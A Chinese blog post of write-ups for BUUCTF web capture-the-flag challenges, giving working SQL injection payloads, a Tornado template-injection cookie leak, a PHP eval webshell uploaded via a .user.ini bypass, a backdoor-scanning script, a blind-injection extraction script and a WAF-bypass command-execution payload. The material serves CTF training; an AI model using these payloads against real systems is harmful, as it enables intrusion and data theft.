本来一题一篇文章,结果发现太浪费了,所以整合起来了,这篇博文就记录 BUUCTF 的  web 题目的题解吧!

随便注

随便输入一个单引号,报错

order by 3就不行了

尝试联合查询的时候出现提示:

"/select|update|delete|drop|insert|where|\./i"

一个正则可视化网站:https://regexper.com

使用堆叠注入:1';show tables;#

看一下表里有什么列名:1';show columns from `1919810931114514`;#

(注意,字符串为表名的表操作时要加反引号)

但是没办法使用 select * from `1919810931114514`

看网上师傅们有两种方法,第一种:mysql 预定义语句

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

?inject=1';
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

把列名 flag 改为 id

这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

easy_tornado

打开看到有三个文件:

三个文件内容如下:

通过 url 知道,访问一个文件需要知道:filename 跟 filehash

企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,

报错时候的 url 是这样的

尝试把后面换成:{{111}},输出了!

在 tornado 模板中,存在一些可以访问的快速对象,例如:

 <title>
{{ escape(handler.settings["cookie"]) }}
</title>

那么输入:{{handler.settings}}

拿到 cookie 就 OK 了!

import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def jiami():
filename = '/fllllllllllllag'
cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
print(md5value(filename.encode('utf-8')))
x=md5value(filename.encode('utf-8'))
y=cookie_s+xprint(md5value(y.encode('utf-8')))
jiami()

EasySQL

这道题目有两种解法,一种是:*,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉*了)

还有一种说是考察sql_mode,通过堆叠注入修改sql_mode,

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 || 视为字符串连接符而非 或 运算符

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag

Payload :

1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了

SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

高明的黑客

访问提示源码在 www.tar.gz

在网址后面加上 www.tar.gz 是可以下载下来的

下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来

import os,re
import requests
filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data))) for ret in result:
try:
command = 'echo "got it"'
flag = 'got it'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
if "got it" in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
if "got it" in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)

访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag

admin

网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗

https://www.anquanke.com/post/id/164086

注册用户:ᴬdmin

会将其变成:Admin

修改密码的时候会变成:admin

这样就可以直接访问 admin 用户

checkin

拿到题目,是一个上传界面

尝试上传,php 显示非法后缀,传图马显示内容里面有 <?

尝试这样的:

GIF89a
<script language="php">eval ($_POST['yichen']);</script>

成功上传,同时还显示了文件夹下的内容

想上传 .htaccess 把图片马解析成为 php 但是失败了

看 wp 以后学到了 .user.ini 来上传后门

了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置

其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini

实际上,除了 PHP_INI_SYSTEM 以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的

而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl 所设置的时间(默认300秒)就可以

需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()

使用方法很简单,只需要在 .user.ini 文件中写:

auto_prepend_file=文件名(比如:yichen.jpg)

解题:先上传一个 .user.ini 文件

在上传一个 yichen.jpg 文件

然后在访问同一文件夹下的 index.php 就可以得到 flag 了

Hack World

sql注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的wp

师傅们用了 异或 这种操作,长见识了,师傅们的 WP:

(意识到应该整理一些 sqli 的 FUZZ 字典

import requests
from lxml import etree
def a():
url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn"
flag="Hello, glzjin wants a girlfriend."
final=""
stop=0
for i in range(1,1290):
print("*"*50,i,"*"*50)
stop=0
for j in range(32,129):
stop = j
data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
re = requests.post(url=url,data=data).text.replace('\n','')
html = etree.HTML(re).xpath("//text()")
# print(">>",html)
if flag in html:
final+=chr(j)
print("\n\t\t\t\t",final)
break if stop >= 128:
print("*"*50,"结束")
print(">>",final)
break if __name__ == '__main__':
a()

Easy Cacl

 PHP 字符串解析特性

当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替

参考:https://www.freebuf.com/articles/web/213359.html

在 freebuf 的文章中,发现了上面这些是可以被用来替换的

用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过

查看目录

calc.php? num=1;var_dump(scandir(chr(47)))

查看 flag

calc.php? num=1;var_dump(readfile(chr(47).f1agg))

不太明白为啥直接f1agg不行

【web】BUUCTF-web刷题记录的更多相关文章

  1. 攻防世界 web 新手练习 刷题记录

    1.view_source 既然让看源码,那就F12直接就能看到. 2.robots 先百度去简单了解一下robots协议 robots协议(robots.txt),robots.txt文件在网站根目 ...

  2. 攻防世界 web 进阶区 刷题记录

    1.Training-WWW-Robots 题目提示了robots协议,直接访问robots.txt 继续访问fl0g.php 2.baby_web 题目描述:想想初始页面是哪个 百度搜了下,inde ...

  3. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  4. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  5. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  6. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  7. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  8. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  9. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

随机推荐

  1. [noi1760]SAM

    建立SAM,求出每一个节点最左边的出现位置(即right集合中的最小元素,在树上dfs即可) 枚举左端点i和右端点j(保证j是最小的满足$s[i,j)$不是$s[0,i)$的子串),维护k表示$s[i ...

  2. Codeforces 1383E - Strange Operation(线段树优化 DP or 单调栈+DP)

    Codeforces 题目传送门 & 洛谷题目传送门 Yet another 自己搞出来的难度 \(\ge 2800\) 的题 介绍一个奇奇怪怪的 \(n\log n\) 的做法.首先特判掉字 ...

  3. 解决 VS Code 无法使用Ctrl+C等快捷键

    背景 VScode 安装 Vim扩展后,无法使用Ctrl+C,Ctrl+X和 Ctrl+V等热键 解决方案 方案一 停用Vim 热键覆盖 # 原因: vim 扩展默认启用Vim ctrl键覆盖常见的V ...

  4. Latex 文档格式化

    title: "Latex 文档格式化" author: 李龙翔 date: "Nov 22, 2019" subject: "Markdown&qu ...

  5. Anaconda3-更换为清华源后依旧报错CondaHTTPError: HTTP 000 CONNECTION FAILED

    前言 今天发现换完清华源以后依旧报错 CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://mirrors.tuna.tsi.. ...

  6. 框架学习-MyBatis(01)

    1.MyBatis是持久层框架 什么是持久化: 狭义:把数据永久性的保存到数据当中 广义:针对于数据库的所有操作都称为持久化操作,CreateReadUpdateDelete操作 2.有哪些持久层框架 ...

  7. 8.7 进程间的通讯:管道、消息队列、共享内存、信号量、信号、Socket

    进程间的通讯 进程间为什么需要通讯? 共享数据.数据传输.消息通知.进程控制 进程间的通讯有哪些类型? 首先,联系前面讲过的知识,进程之间的用户地址空间是相互独立的,不能进行互相访问,但是,内核空间却 ...

  8. Shell 指定行处理head、tail、sed

    目录 Shell 指定行处理 head.tail.sed head 前几行 tail sed 删除.替换.新增.选取 案例 删除行 插入行 查看某行 替换某行 部分数据的查找并替换 读写操作 Shel ...

  9. 日常Java 2021/10/25

    ArrayList存储数字 import java.util.ArrayList; public class Arr_test { public static void main(String[] a ...

  10. 学习java 7.26

    学习内容: 进度条是图形界面中广浅个较大的文件时,操作系统会显示一个进度条,用于标识复制操作完成的比例:当启动Eclipse等程序时,因为需要加载较多的资源,故而启动速度较慢,程序也会在启动过程中显示 ...